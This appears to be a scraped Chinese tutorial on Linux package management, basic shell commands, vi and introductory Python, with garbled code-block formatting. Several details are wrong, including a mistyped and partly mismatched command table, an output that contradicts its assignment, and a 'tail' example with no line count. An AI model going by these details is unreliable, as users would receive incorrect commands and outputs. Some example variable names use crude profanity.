Drbian和redhat体系的软件安装
1. Debian体系的软件安装
在前文中,我们了解到linux系统的发行版主要分为debian和redhat两个体系。
两个体系最直观的不同是软件安装命令的不同。我们来学习debian体系的软件安装。
前文我们使用的Kali系统,就以本节所介绍的命令来管理软件的安装与卸载。
1.1 dpkg 命令
dpkg 是为”Debian”操作系统专门开发的套件管理系统,用于软件的安装,更新和移除。能被dpkg命令安装的软件包一般以.deb为文件后缀。
dpkg 是为”Debian”操作系统专门开发的套件管理系统,用于软件的安装,更新和移除。能被dpkg命令安装的软件包一般以.deb为文件后缀。
1 | `dpkg -i # 安装软件包 |
1.2.1. apt 命令
apt是一个在Debian中的Shell前端软件包管理器。
apt命令提供了查找、安装、升级、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。
apt命令执行需要超级管理员权限(root)
1.2.2. 源的配置
apt命令更新和安装软件包是从软件安装源中请求的。
kali系统的源文件在/etc/apt/sources.list。
常见kali源:
1 | 官方源 |
可以编辑/etc/apt/sources.list文件,将源切换成需要的源。
修改之后,需要通过apt update命令来更新源。
1.3. apt 命令
1 | apt-get install #安装软件包 |
2. redhat体系的软件安装
在前文中,我们了解到linux系统的发行版主要分为debian和redhat两个体系。两个体系最直观的不同是软件安装命令的不同。
这一节,我们要来学习rehad体系的软件安装。前文我们使用的Centos实验环境,就以本节所介绍的命令来管理软件的安装与卸载。
1. rpm 命令
rpm命令用于管理软件。rpm原本是 Red Hat Linux 发行版专门用来管理 Linux 各项套件的程序,由于它遵循 GPL 规则且功能强大方便,因而广受欢迎。逐渐受到其他发行版的采用。RPM 套件管理方式的出现,让 Linux 易于安装,升级,间接提升了 Linux 的适用度。能被rpm命令安装的软件包一般以.rpm为文件后缀。
2.1 常见命令
1 | rpm -ivh [package_name] #安装软件包 |
2.2. yum 命令
yum命令是一个在 Fedora 和 RedHat 以及 SUSE 中的 Shell 前端软件包管理器。
基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。yum提供了查找、安装、删除某一个、一组甚至全部软件包的命令。
2.3 yum 源配置
同apt命令一样,yum依然从源获取软件。在centos中yum源文件存储在/etc/yum.repos.d目录中。


repo文件的示例:
1 | [baseos] |
epel源是redhat系比较常用的源。
EPEL (Extra Packages for Enterprise Linux)是基于Fedora的一个项目,为“红帽系”的操作系统提供额外的软件包,适用于RHEL、CentOS和Scientific Linux.
安装epel源只需要安装一个叫”epel-release”的软件包,这个软件包会自动配置yum的软件仓库。
命令为:dnf install -y epel-release
2.2 yum 命令
1 | yum makecache #更新源(安装新源后执行) |
2.3 dnf 命令
DNF是新一代的rpm软件包管理器。它正在逐步取代yum命令。
1 | dnf repolist #该命令用于显示系统中可用的 DNF 软件库 |
3. Debian 与 redhat 命令的异同
| 功能 | debian | redhat | |
|---|---|---|---|
| 单机 | dpkg | rmp | |
| 安装 | dpkg -i | rpm -ivh [package_name] | |
| 卸载 | dpkg -r (保留配置) | rpm -evh [package_name] | |
| dpkg -P (不保留配置) | |||
| 查看对应包文件 | dpkg -s | rpm -qf [文件名] | |
| 显示指定包的状态信息 | dekp -L | rpm -ql [软件名] | |
| 网络同步 | apt-get | dnf | yum |
| 更新源 | apt-get update | dnf list | yum makecache |
| 安装软件包 | apt-get install | dnf install [pakage] | yum -y install [package-name] |
| 卸载 | apt-get remove仅卸载软件,但是并不卸载配置文件 | dnf remove [pakage]#删除系统中指定的软件包 | yum remove [package-name]#删除无用孤立的软件包 |
| apt-get purge卸载指令,同时卸载相应的配置文件 | dnf autoremove#删除缓存的无用软件包 | ||
| dnf clean all | |||
| 配置文件 | dnf info nano | yum info [package-name] | |
1 | ping -h |
3.3 绝对路径与相对路径
绝对路径就是你的主页上的文件或目录在硬盘上真正的路径,linux的绝对路径是指从根目录说起的。万物起源为/目录 。
例如: /dev/somedir/... /etc/password
而相对路径则是从当前目录说起: 即 ./。例如在当前目录为根的情况下的./usr/bin和usr/bin是一个目录。
3.4 Tab键的使用
Tab键的两大作用:
- tab补全:只需输入文件或目录名以及命令的前几个字符,然后按TAB键,如无相重的,完整的文件名或者命令立即自动在命令行出现;如有相重的,再按一下TAB键,系统会列出当前目录下所有以这几个字符开头的名字。
- tab键查看:在命令行下,只需输入例如m,再连续按两次TAB键,系统将列出所有以m开头的命令,(包括自定义的Bshell命令函数),对查找某些记不清楚的命令特有用。熟练使用tab键可提高工作效率。
3.5 四个特殊文件名
1 | . #代表当前目录 |
4. Linux 常用命令
接下来,我们要开始了解一部分常用Linux命令。你可以选择在上一节搭建好的centos环境中练习命令,远程连接到centos的命令为ssh root@ip。你也可以在kali上使用linux命令,除了打开命令终端的方式,还可使用快捷键以将图形化界面切换为字符界面。按CTRL+ALT+F3至F7,kali将切换至字符界面。按CTRL+ALT+F1至F2,kali将切换回图形化界面。
4.1 mkdir 命令 (make directory)
mkdir 命令用于创建目录。
用法:mkdir [选项] [目录名]
参数:-p` 创建多级目录,如果目录名称不存在,就创建一个。
案例:1
2
3mkdir mortal
mkdir mortal1 mortal2
mkdir -p mortal3/mortral4
4.2 ls 命令 (list files)
ls 命令用于显示指定工作目录下之内容(列出指定目录所含之文件及子目录),ls命令的输出信息可以进行彩色加亮显示,以区分不同类型的文件。
用法:`ls [项目] [目录]
参数:
-a显示所有文件及目录(.开头的隐藏文件也会列出)l除文件名称外,也将文件型态、权限、拥有者、文件大小等咨询详细列出-h以人类定义的格式列出文件大小
案例:1
2
3
4ls
ls -l
ls -a mortal3
ls -al mortal3
4.3 pwd 命令 (print work directory)
pwd命令以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用/分隔。第一个/表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。
用法:pwd
案例:1
pwd
4.4 cd 命令 (change directory)
cd 命令用于切换当前工作目录
用法:cd [目录]
用法:`cd [绝对路径]
用法:.代表当前目录,..代表上一级目录,cd~用于切换至登录用户家目录。cd-用于回到上一个目录。
1 | cd . |
4.5 touch 命令
touch命令用于创建一个空白的新文件,如果同名文件已存在,则修改其时间属性。
用法:touch [选项] [文件名]
1 | touch mortal |
4.6 cp 命令 (copy file)
cp命令主要用于复制文件或目录。
用法:`cp [选项] [源文件]
参数:
-r: 若给出的源文件是一个目录文件,此时将复制该目录下所有的子目录和文件。(递归)-p: 除复制文件的内容外,还把修改时间和访问权限也复制到新文件中。(保持默认属性)
1 | cp mor mortal1 |
4.7 mv 命令 (move file)
mv命令用来为文件或目录改名、或将文件或目录移入其它位置。
用法:`mv [选项] [源文件/源目录] [目录]
参数:
-f: 如果指定移动的源目录或文件与目标的目录或文件同名,不会询问,直接覆盖旧文件。(直接覆盖不询问)-n: 不要覆盖任何已存在的文件或目录。(不覆盖已存在的文件)
1 | mv mortal1 m1 |
mv命令的另一种用法是将文件剪切
`mv [路径/文件名] [路径/文件名]1
2
3mv 1.txt /root
mv 2.txt /root/3.txt
mv /root/2.txt /root/1/1.txt
5. 文本查看相关命令
5.1 cat 命令 (concatenate)
cat命令用于打开文件查看文件内容。
用法:`cat [选项] [文件]
案例:1
cat /etc/passwd
cat -v mortal
参数:
-v: 除了LFD(换行)和TAB之外所有的控制符,用^和M-显示。
5.2 echo 命令
echo命令用于输出指定内容
用法:echo '[文本]'1
echo `123`
利用>>和>也可以将输出内容写入到文件中。1
2> #为覆盖
>> #为追加
使用>>和>可以将命令的输出结果保存于文件中。cat /etc/passwd >1.txt
5.3 more 命令
more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是,按空格键Space就往下一页显示,按Enier键显示文本的下一行内容,按 b键就会往回(back)一页显示,按q键退出。
用法:more [选项] [文件]
案例:more /etc/passwd
5.4 less 命令
less 与more类似,用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序按q键。
用法:less [选项] [文件]
案例:less /etc/passwd`
5.5 head 命令
head命令用于查看文件的开头的内容。在默认情况下,head命令显示文件的头10行内容
用法:`head [选项] [文件]
参数:
-n<行数>显示的行数
案例:显示passwd文件前两行head -n 2 /etc/passwd
5.6 tail 命令
tail 文件中的尾部内容。tail命令默认在屏幕上显示指定文件的末尾10行,如果给定的文件不止一个,则在显示的每个文件前面加一个文件名标题
用法:`tail [选项] [文件]
参数:
-n <行数>显示的行数
案例: 查看passwd文件尾部三行内容。tail -n /etc/passwd参数:
-f循环读取
案例:tail -f /var/log/secure/var/log/secure是系统远程登录日志,我们可以通过tail -f命令监控日志变化情况。
随后我们另开一个命令终端远程登录此台计算机。
可以看到tail -f命令监控到了日志变化。Ctrl+c取消命令。
使用管道操作符|可以把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出,依次类推。
案例: 只显示passwd文本的 20-25 行。1
2head -n 25 /etc/passwd|nl| tail -n 5
cat /etc/passwd|nl|head -n 25|tail -n 6
5.7 wc 命令 (word count)
wc命令用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数。
用法:wc [选项] [文件]
参数:
-l显示行数-c显示Bytes数-w显示字数
案例:1
2
3wc -l /etc/passwd
wc -c /etc/passwd
wc -w /etc/passwd
5.8 du (Disk Usage)
du命令可查看文件使用空间
参数:
- -h 以K, M,G为单位,提高信息的可读性。
案例:du -h /etc/passwd
5.9 df 命令 (disk free)
df命令用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
用法:`df [选项]
参数:
-h使用人类可读的格式
案例:1
df -h
5.10 diff 命令
diff 命令用于比较文件的差异。diff以逐行的方式,比较文本文件的异同处。如果指定要比较目录,则 diff 会比较目录中相同文件名的文件,但不会比较其中子目录。
案例:1
diff 1.txt 2.txt
diff命令所参考的不是第一个文件,而是第二个文件,它的输出信息有以下几种字符:
- c:表示必须做一些修改才能使两个文件相同
- a: 表示必须添加一些内容才能使两个文件相同
- d: 表示必须删除一些内容才能使两个文件相同
6. 输入/输出重定向
大多数系统命令从您的终端获取输入并将结果输出发送回您的终端。
通常用于标准输出的命令的输出可以很容易地转移到文件中。此功能称为输出重定向。
正如命令的输出可以重定向到文件一样,命令的输入也可以从文件重定向。
6.1 输出重定向
当我们执行命令时,命令的输出会显示在终端上。但有时,我们需要命令的输出保存在文件中,这时就需要>和>>对命令输出进行重定向。>符号,是将命令的输出存入文件,并覆盖文件原本的内容。1
2ls > 1.txt
cat /etc/passwd > 1.txt
>>符号,表示将命令输出结果追加入文件,不会覆盖文件内容。1
2echo '1' >> 1.txt
echo '2' >> 2.txt
6.2 输入重定向
正如命令的输出可以可重定向到文件,命令的输入也可以重定向到文件。一般使用<和<<,其中<<可以引入多行命令的输入。
用法:command1 < file1
这样,本来需要从键盘获取输入的命令会转移到文件读取内容。
注意:输出重定向是大于号(>),输入重定向是小于号(<)。
案例:
我们需要统计 users 文件的行数,执行以下命令:1
2wc -l users
2 users
也可以将输入重定向到 users 文件:1
2wc -l < users
2
注意:上面两个例子的结果不同:第一个例子,会输出文件名;第二个不会,因为它仅仅知道从标准输入读取内容。
command1 < infile > outfile
同时替换输入和输出,执行command1,从文件infile读取内容,然后将输出写入到outfile中。
6.3 Here Document
Here Document 是 Shell 中的一种特殊的重定向方式,用来将输入重定向到一个交互式 Shell 脚本或程序。
<<,则更为常用一些,它将运算符解释为读取输入的指令,直到找到包含指定分隔符的行。直到包含分隔符的行的所有输入行都被输入到命令的标准输入中。命令形式一般如下:1
2
3command << delimiter
document
delimiter
它的作用是将两个 delimiter 之间的内容(document) 作为输入传递给 command。
其中delimiter代表用户定义的分隔符,两个分隔符之间,是输入的多行参数。
例如:1
2
3
4
5
6wc -l << EOF
abcd
1234
EOF
## 其输出结果为2,统计了输入的行数。
7. VI 编辑器
v编辑器:vi是Linux系统的第一个全屏幕交互式编辑程序,它从诞生至今一直得到广大用户的青睐,历经数十年仍然是人们主要使用的文本编辑工具,它可以执行输出、删除、查找、替换、块操作等众多文本操作,而且用户可以根据自己的需要对其进行定制,这是其他编辑程序所没有的。 vi编辑器具有三种模式:一般模式、编辑模式、指令模式。 这三种模式可以通过观察vi界面的左下角判断。
在命令行执行vi [文件名]命令可进入vi编辑器并编辑文件,如果没有同名文件则创建。
此时,vi编辑器处于一般模式。
从一般模式输入字母i进入编辑模式,特征是左下角有插入字样。
在编辑模式下,可以用方向键移动光标,同时写入字符。
编辑模式下按ESC 回到一般模式。
一般模式下按:进入命令模式。特征是右下角有:。
命令模式下常用指令:1
2
3
4
5
6w # 保存 write
q # 退出 quit
wq # 保存并退出
q! # 不保存强制退出
set nu # 显示行号
wq! # 强制保存并退出
在一般模式下可使用的指令:1
2
3
4
5
6
7
8
9
10/farmsec # 搜索“farmsec”内容
gg # 光标立马回到第一行
2 # 光标向下跳2行,以此类推
G # 移动到最后一行
dd # 删除当前行
d2j # 删除当前行和下两行
yy # 复制一行
y2y # 复制2行
p (小写) # 粘贴到光标之后
P (大写) # 粘贴到光标之前
Python基础
Python 基础
1. Pyhton 简述
1.1 IDLE
在 IDLE 的交互模式下,你给它一个指令,它立刻会还你一个反馈:
打开 IDLE 的编辑器模式
打开 IDLE,在菜单栏中依次点击 File->New File,或者直接使用快捷键 Ctrl+N:
1.2 BIF (Built-in Function)
Python 提供了很多内置函数,以对付各种不同的需求。
在 IDLE 的交互模式下,输入 dir(builtins),可以看到它们:
1 | dir(__builtins__) |
1.3 查看 Python 官方文档
打开 IDLE,依次点击右上角的 “Help” -> “Python Docs”(或者直接按下快捷键F1):
这就弹出了一个叫 Python Documentation 的帮助文档,点击左上角的“索引”,然后输入想要查询的关键字:
或者直接在交互界面输出 help(obj) 查询:
2.变量与字符串
2.1.1 变量
在 Python 中,变量就是一个名字。
变量就是一个名字,一个标签,通过这个变量,你就能找到对应的数据。
2.1.2 创建一个变量
Python 的变量无需声明,只需要一次赋值,该变量就能够被成功创建:>>> x = 8
这样我们就创建了一个变量,它的名字叫做x,它的值是8。
那么这个等于号(=),表示的是一个赋值操作,也就是将右边的数值8跟变量名x进行挂钩的意思。
2.1.3 访问一个变量
当一个变量被创建之后,使用变量名就可以直接访问该变量了:1
2>>> print(x)
3
2.1.4 变量名
变量名呢,通常是由字母、数字和下划线(_)构成,但千万不能以数字打头,比如 fuckyou567 是合法的变量名,而 789bitch 却是非法的。
另外,变量名是区分大小写的,也就是 FucK、fuck 在 Python 看来,是两个完全不同的名字。
Python3 还支持中文字符作为变量名,是的:1
2
3唐僧 = 81
print(唐僧)
81
2.2.1 字符串(Double quotes)
Double quotes 就是使用一对双引号将文本包含起来:1
2>>> print("I love Pyhton")
I love Python
混合使用 Single quotes 和 Double quotes 的技巧:1
2
3
4>>> print("Let's go!")
Let's go!
>>> print('"Life is short, you need Python."')
"Life is short, you need Python."
2.2.2 转义字符

2.2.3 原始字符串
使用原始字符串,可以避免反斜杠(\)被当作转义字符解析:1
2
3
4
5
6
7>>> 未使用原始字符串
>>> print("D:\three\two\one\now")
D: hree wo\one
ow
>>> # 使用原始字符串
>>> print(r"D:\three\two\one\now")
D:\three\two\one\now
多次换行可以在换行符 (\n) 再加一个反斜杠 (\n\) :
2.2.4 长字符串(Triple quotes)
通常,使用三引号(单引号,双引号都可以——首尾呼应)字符串来引用多行文本:1
2
3
4>>> demo = """
知世故而不世故,
弥天真而芬芳。
"""
2.2.5 字符串加法和乘法
字符串相加我们叫做拼接,就是将字符串组合成一个长的新的字符串:1
2>>> '365' + '258'
'365258'
还可以使用乘法符号(*)进行复制。
比如被老师罚写名字三百遍:
3. 运算符
3.1 赋值运算符
单独一个等于号(=)表示赋值运算符,作用是将右边的值跟左边的变量名进行挂钩。
3.2 将字符串转换为整数
使用 int() 函数将指定的值转换成整数。
但要注意,并不是所有的字符串都能够转换为整数,比如 int(“Fuck”) 是无法转换的
3.3 比较运算符

3.4 is 同一性运算符
is 运算符也称之为同一性运算符。
它是用于检验两个变量,是否指向同一个对象(内存)的运算符1
2
3x = 'mortal'
y = 'mortal'
x is y
4. 数字类型
Python 有三种不同的数字类型,分别是:整数、浮点数和复数。
4.1.1 整数 (integer)
Python 的整数长度是不受限制的,也就是说它是有无限大的精度。
所以,你可以随时随地的进行大数运算:1
2>>> 1568743148/115487896
13.583615273413589
4.1.2 浮点数
我们通常数学意义上的小数在编程里叫浮点数。
由于浮点数在计算机中的存储是存在 “误差” 的,所以有时候可能会闹出一些 “BUG”:1
2>>> 0.1 + 0.2
0.30000000000000004
由于浮点数并不是 100% 精确的,所以我们拿浮点数来做比较就要特别小心了:1
2>>> 0.3 == 0.1 + 0.2
False
可以借助decimal模块来进行十进制的运算1
2
3
4
5
6
7
8>>> import decimal
>>> a = decimal.Decimal("0.1")
>>> b = decimal.Decimal("0.2")
>>> print(a + b)
0.3
c = decimal.Decimal('0.3')
a + b == c
True
4.1.3 E记法
E 记法也就是平时我们所说的科学计数法,用于表示一些比较极端的数。1
2
3>>> x = 0.00005
>>> x
5e-05
4.1.4 复数
复数包含了一个实部和一个虚部:1
2>>> 1 + 2j
(1+2j)
它们都是以浮点数的形式存放的,如果将一个复数赋值给一个变量 x,则可以通过 x.real 访问该复数的实部,x.imag 访问其虚部:1
2
3
4
5>>> x = 1 + 2j
>>> x.real
1.0
>>> x.imag
2.0
4.2 数字运算
Python 支持的数字运算如下:
4.2.1 四则运算
1 | >>> 1 + 2 |
4.2.2 地板除
双斜杠(//)表示一种特殊的除法 —— 地板除。
地板除原理是取比目标结果小的最大整数:1
2
3
4>>> 3 // 2
1
>>> -3 // 2
-2
4.2.3 取余
百分号(%)用于求两数相除的余数,如果能够整除,则余数为 0:1
2
3
4>>> 3 % 2
1
>>> 6 % 2
0
4.2.4 被除数
地板除的结果乘以除数 + 余数 = 被除数:x == (x // y) * y + (x % y)
4.2.5 divmod() 函数
Python 有个内置函数叫 divmod(),它的作用就是同时求出两参数地板除的结果和余数:1
2
3
4>>> divmod(3, 2)
(1, 1)
>>> divmod(-3, 2)
(-2, 1)
4.2.6 abs()函数
abs() 函数的作用是返回指定数值的绝对值:1
2
3
4
5
6>>> x = -520
>>> abs(x)
520
>>> y = -3.14
>>> abs(y)
3.14
如果传入的是一个复数,abs() 函数返回的结果就是复数的模:1
2
3>>> z = 1 + 2j
>>> abs(z)
2.23606797749979
4.2.7 int() float() 和 complex() 函数
int() 函数是将指定的值转换成整数,比如我们传入一个字符串 ‘250’,那么得到结果就是一个整数 250:1
2>>> int('250')
250
不过如果参数是一个浮点数,那么就要注意了,因为它得到的将是一个截掉小数的整数:1
2
3
4>>> int(3.14)
3
>>> int(9.99)
9
- 注意:它是直接截取整数部分,扔掉小数部分,而不是四舍五入。
同样的道理,float() 和 complex() 函数是将指定的值转换成浮点数和复数
4.2.8 pow() 函数和幂运算符(**)
通常情况下,pow() 函数和幂运算符(**)这两个实现的效果是等价的:1
2
3
4
5
6
7
8>>> pow(2, 3)
8
>>> 2 ** 3
8
>>> pow(2, -3)
0.125
>>> 2 ** -3
0.125
不过,pow() 函数还留有一手,它支持第 3 个参数。
如果传入第 3 个参数,那么会将幂运算的结果和第 3 个参数进行取余数运算:1
2>>> pow(2, 3, 3)
2
相当于:1
2>>> 2 ** 3 % 3
2
5. 布尔类型
布尔类型的值只有两个:True 或者 False,也就是 “真” 或者 “假”。
5.1 bool() 函数
使用 bool() 函数可以直接给出 True 或者 False 的结果:1
2
3
4
5
6>>> bool(250)
True
>>> bool("假")
True
>>> bool("False")
True
5.2 真真假假
结果是 True 的情况非常多,但 False 却是屈指可数,下面这些几乎就是结果为 False 的所有情况:
- 定义为False的对象:None 和 False
- 值为 0 的数字类型:0, 0.0, 0j, Decimal(0), Fraction(0, 1)
- 空的序列和集合:’’, (), [], {}, set(), range(0)
5.3 真值检测
Python 中任何对象都能直接进行真值检测(测试该对象的布尔类型值为 True 或者 False),用于 if 或者 while 语句的条件判断,也可以做为布尔逻辑运算符的操作数。
5.3 逻辑运算符
Python 总共有三个逻辑运算符:and、or 和 not。
对于 and 和 or 运算符,它的计算结果不一定是 True 或者 False。
这要看它的操作数是什么了,如果你给到操作数的是两个数值,那么它的运算结果也是数值:1
2
3
4>>> 3 and 4
4
>>> 4 or 5
4
如果你给到操作数的是两个字符串,那么它的结果也是字符串:1
2>>> "Mortal" and "LOVE"
'LOVE'
如歌你给到操作数是字符串和数值, and 时为数值, or 时为字符串1
2
3
4
5>>>"Mortal" and 250
250
>>> "Mortal" or 350
'Mortal'
5.4 短路逻辑
and 和 or 这两个运算符都是遵从短路逻辑的。
短路逻辑的核心思想就是:从左往右,只有当第一个操作数的值无法确定逻辑运算的结果时,才对第二个操作数进行求值。
and同为真时 返回 True。or两边只要有一个是 True 那么结果就是 True.1
2
3
4
5
6
7
8
9
10
11>>> 5 and 6 # 5 为True不能确定结果,继续执行 6 最终返回结果6
6
>>> 5 or 6 # 5 为 Ture 可以确定结果,直接返回 5
5
>>> 0 and 5 # 0 为 False 可以确定结果,直接返回 0
0
>>> 0 or 6 # 0 为 False 无法确定结果,继续执行 6 ,6 为True 返回结果 6
6
6. 运算符优先级
这个表格从低到高(↓)列出了 Python 的运算符优先级:
| 优先级 | 运算符 | 描述 | |
|---|---|---|---|
| 1 | lambda | Lambda表达式 | |
| 2 | if - else | 条件表达式 | |
| 3 | or | 布尔“或” | |
| 4 | and | 布尔“与” | |
| 5 | not x | 布尔“非” | |
| 6 | in, not in, is, is not, <, <=,>, >=, !=, == | 成员测试,同一性测试,比较 | |
| 7 | ` | ` | 按位或 |
| 8 | ^ | 按位异或 | |
| 9 | & | 按位与 | |
| 10 | <<, >> | 移位 | |
| 11 | +, - | 加法,减法 | |
| 12 | *, @, /, //, % | 乘法,矩阵乘法,除法,地板除,取余数 | |
| 13 | +x,-x, ~x | 正号,负号,按位翻转 | |
| 14 | ** | 指数 | |
| 15 | await x | Await表达式 | |
| 16 | x[index], x[index:index],x(arguments…), x.attribute | 下标,切片,函数调用,属性引用 | |
| 17 | (expressions…), [expressions…],{key: value…}, {expressions…} | 绑定或元组显示,列表显示,字典显示,集合显示 |
7. 分支和循环 (branch and loop)
7.1 分支结构
Python 的分支结构由 if 语句来操刀实现。
if 语句总共有 5 钟语法结构,其中前 4 种是比较常见的。
第 1 种是判断一个条件,如果这个条件成立,就执行其包含的某条语句或某个代码块。
语法结构如下:1
2if 条件:
某条语句或某个代码块
第 2 种同样是判断一个条件,跟第 1 种的区别是如果条件不成立,则执行另外的某条语句或某个代码块。
语法结构如下:1
2
3
4if 条件:
某条语句或某个代码块
else:
某条语句或某个代码块
第 3 种是判断多个条件,如果第 1 个条件不成立,则继续判断第 2 个条件,如果第 2 个条件还不成立,则接着判断第 3 个条件……
如果还有第 4、5、6、7、8、9 个条件,你还可以继续写下去。
语法结构如下:1
2
3
4
5
6if 第1个条件:
某条语句或某个代码块
elif 第2个条件:
某条语句或某个代码块
elif 第3个条件:
某条语句或某个代码块
第 4 种是在第 3 种的情况下添加一个 else,表示上面所有的条件均不成立的情况下,执行某条语句或某个代码块。
语法结构如下:1
2
3
4
5
6
7
8if 第1个条件:
某条语句或某个代码块
elif 第2个条件:
某条语句或某个代码块
elif 第3个条件:
某条语句或某个代码块
else:
某条语句或某个代码块
第 5 种其实是一个条件表达式,相当于将一个完整的 if-else 结构整合成一个表达式来使用。
语法结构如下:1
条件成立时执行的语句 if 条件 else 条件不成立时执行的语句
它把条件放正中间,然后左右紧挨着关键字 if 和 else,最左侧是条件成立时执行的语句,最右侧是条件不成立时执行的语句。
示例如下:1
2
3
4
5>>> a = 3
>>> b = 5
>>> small = a if a < b else b
>>> print(small)
3
7.2 分支结构的嵌套(nested branches)
所谓嵌套,就是跟俄罗斯套娃一样,一层套一层。1
2
3
4
5
6
7
8
9
10
11>>> age = 18
>>> isGamer = True
>>> if age < 18:
... print("抱歉,本游戏不适合未成年。")
... else:
... if isGamer:
... print("游戏愉快!")
... else:
... print("抱歉,本游戏不适合非专业选手哦~")
游戏愉快!
7.3 循环结构
分支结构能让你的程序根据条件去做不同的事情,而循环机构能让你的程序去不断做同一件事情,这就是所谓的道不同而一样很牛逼啦!
Python 有两种循环语句:while 循环和 for 循环。
7.3.1 while 循环
它的语法结构结构如下:1
2while 条件:
某条语句或某个代码块
只要条件一直成立,那么其包含的某条语句或某个代码块就会一直被执行。
7.3.2 死循环
如果条件一直成立,那么循环体就一直被执行。
1 | >>> while True: |
像这种倔强的循环,我们给他起了一个不大好听的名字:死循环。
所谓的死循环,就是打死也不会结束的循环。
7.3.3 break 语句
在循环体内,一旦遇到 break 语句,Python 二话不说马上就会跳出循环体,即便这时候循环体内还有待执行的语句。
7.3.4 continue 语句
实现跳出循环体还有另外一个语句,那就是 continue 语句。
continue 语句也会跳出循环体,但是,它只是跳出本一轮循环,它还会回到循环体的条件判断位置,然后继续下一轮循环(如果条件还满足的话)。
注意它和 break 语句两者的区别:
- continue 语句是跳出本次循环,回到循环的开头
- break 语句则是直接跳出循环体,继续执行后面的语句

7.3.5 else 语句
当循环的条件不再为真的时候,便执行 else 语句的内容。
1 | >>> i = 1 |
小技巧
while-else 可以非常容易地检测到循环的退出情况。
1 | >>> this = 1 |
7.3.6 嵌套
循环也也可以嵌套,而且更简洁!
有时候,我们的需求可能要用到不止一层循环来实现。
比如我们要实现打印一个九九乘法表,就可以这么实现:
1 | >>> i = 1 |
- 注意: 对于嵌套循环来说,无论是 break 语句还是 continue 语句,它们只能作用于一层循环体。
7.3.7 for 循环
语法结构如下:1
2for 变量 in 可迭代对象:
某条语句或某个代码块
什么是可迭代对象?
所谓可迭代对象,就是指那些元素能够被单独提取出来的对象。比如我们学过的字符串,它就是一个可迭代对象。
什么叫迭代呢?
比如说让你每一次从字符串 “Mortal” 里面拿一个字符出来,那么你依次会拿出 ‘M’、’o’、’r’、’t’、’a’、’l’ 六个字符,这个过程我们称之为迭代。
7.3.8 range()
range() 会帮你生成一个数字序列,它的用法有以下三种:
- range(stop) - 将生成一个从 0 开始,到 stop(不包含)的整数数列
- range(start, stop) - 将生成一个从 start 开始,到 stop(不包含)的整数数列
- range(start, stop, step) - 将生成一个从 start 开始,到 stop(不包含)结束,步进跨度为 step 的整数数列
注意:无论你使用哪一种,它的参数都只能是整数。
7.3.9 for 循环和 while 循环的共通性
for 循环和 while 循环一样,都是可以支持嵌套的,同样它也可以搭配 break 和 continue 语句。
1 | >>> for n in range(2, 10): |
8. 列表
8.1 创建列表
创建一个列表非常简单,我们只需要使用中括号,将所有准备放入列表中的元素给包裹起来,不同元素之间使用逗号分隔:1
2
3>>> rhyme = [1, 2, 3, 4, 5, "上山打老虎"]
>>> print(rhyme)
[1, 2, 3, 4, 5, '上山打老虎']
8.2 访问列表中的元素
如果希望按顺序访问列表的每一个元素,可以使用 for 循环语句:1
2
3
4
5
6
7
8
9>>> for each in rhyme:
... print(each)
...
1
2
3
4
5
上山打老虎
如果希望随机访问其中一个元素,那么可以使用下标索引的方法:1
2
3
4
5
6>>> rhyme[0]
1
>>> rhyme[2]
3
>>> rhyme[5]
'上山打老虎'
8.3 下标索引
序列类型的数据都可以使用下标索引的方法,第一个元素的下标是 0,第二个的下标是 1,以此类推:
Python 还支持你 “倒着” 进行索引:
8.4 列表切片
将原先的单个索引值改成一个范围即可实现切片:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18>>> rhyme[0:3]
[1, 2, 3]
>>> rhyme[3:6]
[4, 5, '上山打老虎']
>>> rhyme[:3]
[1, 2, 3]
>>> rhyme[3:]
[4, 5, '上山打老虎']
>>> rhyme[:]
[1, 2, 3, 4, 5, '上山打老虎']
>>> rhyme[0:6:2]
[1, 3, 5]
>>> rhyme[::2]
[1, 3, 5]
>>> rhyme[::-2]
['上山打老虎', 4, 2]
>>> rhyme[::-1]
['上山打老虎', 5, 4, 3, 2, 1]
切片是一个非常棒的技能
8.5 列表的增删改查
8.5.1 增(像列表添加数据)
向列表添加元素可以使用 append() 方法,它的功能是在列表的末尾添加一个指定的元素。
1 | >>> food.append("egg") |
append() 方法虽好,不过每次它只能添加一个元素到列表中,而 extend() 方法则允许一次性添加多个元素:1
2
3>>> food.extend(["cake", "rice", "vagetables"])
>>> food
['milk', 'bread', 'egg', 'cake', 'rice', 'vagetables']
- 注意:extend() 方法的参数必须是一个可迭代对象,然后新的内容是追加到原列表最后一个元素的后面。
使用万能的切片语法,也可以实现列表元素的添加:1
2
3
4
5
6
7
8
9>>> s = [1, 2, 3, 4, 5]
>>> # 下面的做法等同于 s.append(6)
>>> s[len(s):] = [6]
>>> s
[1, 2, 3, 4, 5, 6]
>>> # 下面的做法等同于 s.extend([7, 8, 9])
>>> s[len(s):] = [7, 8, 9]
>>> s
[1, 2, 3, 4, 5, 6, 7, 8, 9]
insert() 方法允许你在列表的任意位置添加数据。
insert() 方法有两个参数,第一个参数指定的是插入的位置,第二个参数指定的是插入的元素:1
2
3
4>>> s = [1, 3, 4, 5]
>>> s.insert(1, 2)
>>> s
[1, 2, 3, 4, 5]
8.5.2 删(删除列表中的数据)
利用 remove() 方法,可以将列表中指定的元素删除:1
2
3>>> food.remove("vagetables")
>>> food
['milk', 'bread', 'egg', 'cake', 'rice']
有两点要注意:
- 如果列表中存在多个匹配的元素,那么它只会删除第一个
- remove() 方法要求你指定一个待删除的元素,如果指定的元素压根儿不存在,那么程序就会报错
有时候我们可能需要删除某个指定位置上的元素,那么可以使用 pop() 方法,它的参数就是元素的下标索引值:1
2
3
4>>> food.pop(0)
'milk'
>>> food
['bread', 'egg', 'cake', 'rice']pop() 方法这个参数其实是可选的,如果你没有指定一个参数,那么它“弹”出来的就是最后一个元素:1
2
3
